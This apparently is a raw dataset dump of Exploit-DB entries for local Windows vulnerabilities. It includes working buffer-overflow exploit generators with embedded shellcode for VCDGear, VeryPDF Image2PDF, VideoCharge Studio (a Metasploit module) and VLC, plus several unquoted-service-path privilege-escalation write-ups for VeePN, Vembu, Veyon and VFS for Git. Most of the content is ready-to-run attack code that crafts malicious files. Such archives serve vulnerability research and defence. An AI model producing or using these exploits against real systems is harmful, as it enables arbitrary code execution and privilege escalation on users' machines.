deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31991
Description: VCDGear 3.50 - '.cue' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2014-02-28
Author: Provensec

Exploit:
#!/usr/bin/ruby

'''
# Author: Provensec www.provensec.com <advisories@provensec.com >
# Tested on XP SP3 / Windows 7

# Description: VCDGEAR 3.50 is prone to a stack-based buffer overflow
vulnerability because the application fails to perform adequate
boundary-checks on user-supplied input.
# An attacker can exploit this issue to execute arbitrary code in the
context of the application. Failed exploit attempts will result in a
denial-of-service condition.
# Application vendor: VCDGear 3.50 -
http://www.vcdgear.com/files/vcdgear350.zip

# 0x00499a1e : pop ecx # pop ebp # ret 0x0c | startnull {PAGE_EXECUTE_READ}
[vcdgear.exe]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
# SEH record (nseh field) at 0x0012f7a4 overwritten with normal pattern :
0x35744134 (offset 580), followed by 1416 bytes of cyclic data
# Project1!ScandataFinalize+0x441:
# 00452ff9 c6841553fdffff00 mov     byte ptr [ebp+edx-2ADh],0
ss:0023:4112f660=??
# 0:000> !exchain
# 0012f7a4: 44434241
# Invalid exception stack at 909006eb
# 0:000> !exploitable
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols
for C:\WINDOWS\system32\USER32.dll -
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols
for C:\WINDOWS\system32\kernel32.dll -
# Exploitability Classification: EXPLOITABLE
'''

shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa4" +
"\x0d\x2b\xba\x83\xeb\xfc\xe2\xf4\x58\xe5\x6f\xba\xa4\x0d\xa0\xff" +
"\x98\x86\x57\xbf\xdc\x0c\xc4\x31\xeb\x15\xa0\xe5\x84\x0c\xc0\xf3" +
"\x2f\x39\xa0\xbb\x4a\x3c\xeb\x23\x08\x89\xeb\xce\xa3\xcc\xe1\xb7" +
"\xa5\xcf\xc0\x4e\x9f\x59\x0f\xbe\xd1\xe8\xa0\xe5\x80\x0c\xc0\xdc" +
"\x2f\x01\x60\x31\xfb\x11\x2a\x51\x2f\x11\xa0\xbb\x4f\x84\x77\x9e" +
"\xa0\xce\x1a\x7a\xc0\x86\x6b\x8a\x21\xcd\x53\xb6\x2f\x4d\x27\x31" +
"\xd4\x11\x86\x31\xcc\x05\xc0\xb3\x2f\x8d\x9b\xba\xa4\x0d\xa0\xd2" +
"\x98\x52\x1a\x4c\xc4\x5b\xa2\x42\x27\xcd\x50\xea\xcc\xfd\xa1\xbe" +
"\xfb\x65\xb3\x44\x2e\x03\x7c\x45\x43\x6e\x4a\xd6\xc7\x0d\x2b\xba"

filename = "file.cue"
header = " BINARY\n"
header += " TRACK 01 MODE2\2352\n"
header += " INDEX 01 00:00:00\n"

nops = "\x90" * 20
junk = "\x41" * 324
nseh = "\xeb\x06\x90\x90"
seh = "\x1e\x9a\x49\x00"
padding = "D" * (1412-(nops.length+shellcode.length))

data = "FILE \"" + junk + nseh + "ABCD" + nops + shellcode + padding + "\"" + header

puts "[*] JUNK size: %i\n" % [junk.length]
puts "[*] SHELLCODE size: %i\n" % [shellcode.length]
puts "[*] PADDING size: %i" % [padding.length]

File.open(filename, 'wb') do |fd|
  fd.write data
  puts "[*] FILE CREATED SUCCESSFULLY"
end
Exploit-DB #52088
Description: VeeVPN 1.6.1 - Unquoted Service Path
Type: local
Platform: windows
Date: 2025-03-19
Author: Doğukan Orhan

Exploit:
# Exploit Title: VeeVPN 1.6.1 - 'VeePNService' Unquoted Service Path
# Date: 2024-12-27
# Exploit Author: Doğukan Orhan
# Vendor Homepage: https://veepn.com/
# Version: 1.6.1
# Tested on: Windows 10 Pro x64


# Step to discover Unquoted Service Path:

C:\Users\PC>wmic service where 'name like "%VeePNService%"' get name, displayname, pathname, startmode, startname

#Service Info

C:\Users\PC>sc qc VeePNService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VeePNService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\VeePN\service\VeePNService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VeePNService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #49641
Description: Vembu BDR 4.2.0.1 U1 - Multiple Unquoted Service Paths
Type: local
Platform: windows
Date: 2021-03-12
Author: Mohammed Alshehri

Exploit:
# Exploit Title: Vembu BDR 4.2.0.1 U1 - Multiple Unquoted Service Paths
# Date: 2020-11-6
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.vembu.com/
# Software Link: https://sg-build-release.s3.amazonaws.com/BDRSuite/V420/[PII_REDACTED]312/Vembu_BDR_Backup_Server_Setup_4_2_0_1_U1_GA.exe
# Version: Version 4.2.0.1 U1
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc "hsflowd"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: hsflowd
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vembu\VembuBDR\..\VembuBDR360Agent\bin\hsflowd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Host_sFlow_Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>sc qc "VembuBDR360Agent"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VembuBDR360Agent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vembu\VembuBDR\..\VembuBDR360Agent\bin\VembuBDR360Agent.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VembuBDR360Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>sc qc "VembuOffice365Agent"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VembuOffice365Agent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vembu\VembuBDR\..\VembuOffice365Agent\bin\VembuOffice365Agent.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VembuOffice365Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>


# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #40582
Description: Vembu StoreGrid 4.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012

StoreGrid is a re-brandable backup solution, which can install 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 4.0, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc RemoteBackup

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe


        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem


C:\>sc qc RemoteBackup_webServer

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup_webServer

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\apache\Apache.exe -k runservice

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup_WebServer

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Exploit-DB #38423
Description: VeryPDF Image2PDF Converter - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-10-08
Author: Robbie Corley

Exploit:
#********************************************************************************************************************************************
# 
# Exploit Title: VeryPDF Image2PDF Converter SEH Buffer Overflow
# Date: 10-7-2015
# Software Link: http://www.verypdf.com/tif2pdf/img2pdf.exe
# Exploit Author: Robbie Corley
# Platform Tested: Windows 7 x64
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# CVE: 
# Category: Local Exploit
#
# Description:
# The title parameter contained within the c:\windows\Image2PDF.INI is vulnerable to a buffer overflow.  
# This can be exploited using SEH overwrite.
# 
# Instructions:  
# 1. Run this sploit as-is.  This will generate the new .ini file and place it in c:\windows, overwriting the existing file
# 2. Run the Image2PDF program, hit [try], file --> add files
# 3. Open any .tif file.  Here's the location of one that comes with the installation: C:\Program Files (x86)\VeryPDF Image2PDF v3.2\trial.tif
# 4. Hit 'Make PDF', type in anything for the name of the pdf-to-be, and be greeted with your executed shellcode ;)
#**********************************************************************************************************************************************

#standard messagebox shellcode.  
$shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

$padding="\x90" x 2985;
$seh=pack('V',0x6E4B3045); #STANDARD POP POP RET
$morepadding="\x90" x 1096;

open(myfile,'>c:\\windows\\Image2PDF.INI'); #generate the dummy DWF file

#.ini file header & shellcode
print myfile "[SaveMode]
m_iMakePDFMode=0
m_iSaveMode=0
m_szFilenameORPath=
m_iDestinationMode=0
m_bAscFilename=0
m_strFileNumber=0001
[BaseSettingDlg]
m_bCheckDespeckle=0
m_bCheckSkewCorrect=0
m_bCheckView=0
m_szDPI=default
m_bCheckBWImage=1
[SetPDFInfo]
m_szAuthor=
m_szSubject=
m_szTitle=".$padding."\xEB\x06\x90\x90".$seh.$shellcode.$morepadding; 

close (myfile); #close the file
Exploit-DB #48246
Description: Veyon 4.3.4 - 'VeyonService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-24
Author: Víctor García

Exploit:
# Exploit Title: Veyon 4.3.4 - 'VeyonService' Unquoted Service Path
# Discovery by: Víctor García
# Discovery Date: 2020-03-23
# Vendor Homepage: https://veyon.io/
# Software Link:
https://github.com/veyon/veyon/releases/download/v4.3.4/veyon-4.3.4.0-win64-setup.exe
# Tested Version: 4.3.4
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "C:\Windows\\" |findstr /i /v """
Veyon Service     VeyonService     C:\Program Files\Veyon\veyon-service.exe


# Service info:

C:\>sc qc VeyonService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VeyonService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Veyon\veyon-service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Veyon Service
        DEPENDENCIES       : Tcpip
                           : RpcSs
        SERVICE_START_NAME : LocalSystem


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application.
Exploit-DB #49925
Description: Veyon 4.4.1 - 'VeyonService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-01
Author: Víctor García

Exploit:
# Exploit Title: Veyon 4.4.1 - 'VeyonService' Unquoted Service Path
# Discovery by: Víctor García
# Discovery Date: 2020-03-23
# Vendor Homepage: https://veyon.io/
# Software Link: https://github.com/veyon/veyon/releases/download/v4.4.1/veyon-4.4.1.0-win64-setup.exe
# Tested Version: 4.4.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Pro x64
# CVE: CVE-2020-15261

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i
"auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Veyon Service     VeyonService     C:\Program Files\Veyon\veyon-service.exe


# Service info:

C:\>sc qc VeyonService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VeyonService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Veyon\veyon-service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Veyon Service
        DEPENDENCIES       : Tcpip
                           : RpcSs
        SERVICE_START_NAME : LocalSystem


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application.
Exploit-DB #49661
Description: VFS for Git 1.0.21014.1 - 'GVFS.Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-18
Author: Mohammed Alshehri

Exploit:
# Exploit Title: VFS for Git 1.0.21014.1 - 'GVFS.Service' Unquoted Service Path
# Date: 2021-2-6
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://vfsforgit.org/
# Software Link: https://github.com/microsoft/VFSForGit/releases/download/v1.0.21014.1/SetupGVFS.1.0.21014.1.exe
# Version: 1.0.21014.1
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc GVFS.Service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GVFS.Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\GVFS\GVFS.Service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : GVFS.Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>


# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #37813
Description: VideoCharge Studio - Local Buffer Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2015-08-18
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'VideoCharge Studio Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when
          processing a specially crafted .VSC file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of VideoCharge Studio to open a malicious .VSC file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'metacom',            # Original discovery
          'Andrew Smith',       # MSF module
          'Christian Mehlmauer' # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '69616' ],
          [ 'EBD', '29234' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d\x3c\x22\x26",
          'DisableNops' => true,
          'Space'       => 2808
        },
      'Targets'   =>
        [
          [ 'VideoCharge Studio 2.12.3.685',
            {
              'Ret'     =>  0x61B811F1, #p/p/r | zlib1.dll
              'Offset'  =>  2184
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Oct 27 2013',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class)

  end

  def exploit

    buffer  = rand_text_alpha(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Formats">
<Property name="Stream">
<Value name="Name" type="8" value="#{buffer}"/>
</Property>
</cols>
</Property>
</cols>
</config>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)

  end
end
Exploit-DB #5250
Description: VideoLAN VLC Media Player 0.8.6e - Subtitle Parsing Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-03-14
Author: Mai Xuan Cuong

Exploit:
/*
VLC <=0.8.6.e
Subtitle parsing local buffer overflow exploit
Creadit to cuongmx@gmail.com vs Look2Me @
Tested on windows XP Pro SP2

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char ssa_header[]=
"[Script Info]\r\n"
"Title: VLC <= 0.8.6c,e buffer-overflow\r\n"
"ScriptType: v4.00\r\n"
"Collisions: Normal\r\n"
"[V4 Styles]\r\n"
"[Events]\r\n"
"Dialogue:";

// execute calculator from Meta
char shellcode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
"\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
"\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
"\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
"\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
"\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
"\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
"\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
"\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
"\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9";

char szJMP[]=
"\x90\x90\xe9\x38\xff\xff\xff\xeb\xf9\x90\x90\x0b\x0b\x38\x00";

char szAVI[]=
"\x52\x49\x46\x46\xC\x0\x0\x0\x41\x56\x49\x20\x4C\x49\x53\x54\x00\x00\x00";

main()
{
    int i,j,k;
    printf("Give me your VLC version:\r\n");
    printf("1> version 8.06.c\r\n");
    printf("2> version 8.06.d\r\n");
    printf("3> version 8.06.e\r\nChose:");
    j=getchar();
    switch(j)
    {
        case '1': k=165254;break;
        case '2': printf("\r\nI haven't got this version!\r\n Good Luck :-)");
                  getchar();
                  return 0;break;
        case '3': k=165286;break;
    }
    k=k-sizeof(shellcode);
    printf("\r\n[+] Creating .ssa file ...");
    FILE*    f;
    char    szBuffer[170000];
    char    szBuffer2[200];

    strcpy(szBuffer,ssa_header);    // header of ssa
    
    memset((szBuffer+sizeof(ssa_header)-1),'\x90',k);
    szBuffer[k+sizeof(ssa_header)]='\x00';
    strcpy(szBuffer2,shellcode);
    strcat(szBuffer2,szJMP);
    strcat(szBuffer,szBuffer2);
    
    f=fopen("Bof-VLC.ssa","wb");
    if(f==NULL)
    {
        printf("Can't create file");
        exit;
    }
    fwrite(szBuffer,1,strlen(szBuffer),f);  // write header
    fclose(f);
    printf("\r\n[+] .ssa file successfully create!");
	
	printf("\r\n[+] Creation .avi file ...");
    f=fopen("Bof-VLC.avi","wb");
    if(f==NULL)
    {
        printf("Can't create file");
        exit;
    }
    fwrite(szAVI,1,sizeof(szAVI),f);  // write header
    fclose(f);	
    printf("\r\n[+] .avi file successfully create!");
    getchar();
}

// milw0rm.com [2008-03-14]
Exploit-DB #6798
Description: VideoLAN VLC Media Player 0.9.4 - '.TY' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2008-10-21
Author: Guido Landi

Exploit:
#!/usr/bin/perl
# 10/21/2008 k`sOSe

use warnings;
use strict;

# windows/exec - 141 bytes
# http://www.metasploit.com
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73" .
"\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65" .
"\x00";

usage() if(!defined(@ARGV) or scalar(@ARGV) < 1 or $ARGV[0] !~ /^\d$/ or $ARGV[0] > 1);

my @targets = ( 
			"\x24\x11\x62\x77", # jmp esp @ shell32.dll - Win XP SP1 
			"\xb3\x57\x04\x7d"  # jmp esp @ shell32.dll - Win XP SP2
		);

my $junk = "\x41";

open(my $file, "> evil.mpg");
print $file	"\xF5\x46\x7A\xBD" .	# TIVO_PES_FILEID    
		"\x00\x00\x00\x02" .	
		"\x00\x02\x00\x00" . 	# CHUNK_SIZE    
		$junk x 8 .
		"\x00\x00\x05\x41" .	# i_map_size
		$junk x 4 .
		"\x00\x00\x05\x49" .	# SEQ table size / (i_map_size + 8) == 1
		$junk x 60	.
		$targets[$ARGV[0]] .
		$shellcode .
		$junk x 130835	.
		"\x05" .		# i_num_recs
		$junk x 3 .	
		"\x05" .		# p_hdrs
		$junk x 1 .
		"\x09" .		# subrec_type \ 
					#		(subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo)
		"\xc0" .		# rec_type    /
		$junk x 14 .
		"\x06" .		# subrec_type \
					#            	(subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo
		"\xe0" . 		# rec_type    /
		$junk x 531062;


sub usage
{
	print <<EOM;
VLC Media Player TY File Stack Based Buffer Overflow Exploit
		k`sOSe - 10/21/2008
usage:
	$0 <target>

targets:
	0 - Windows XP SP1
	1 - Windows XP SP2
EOM
exit;
}

# milw0rm.com [2008-10-21]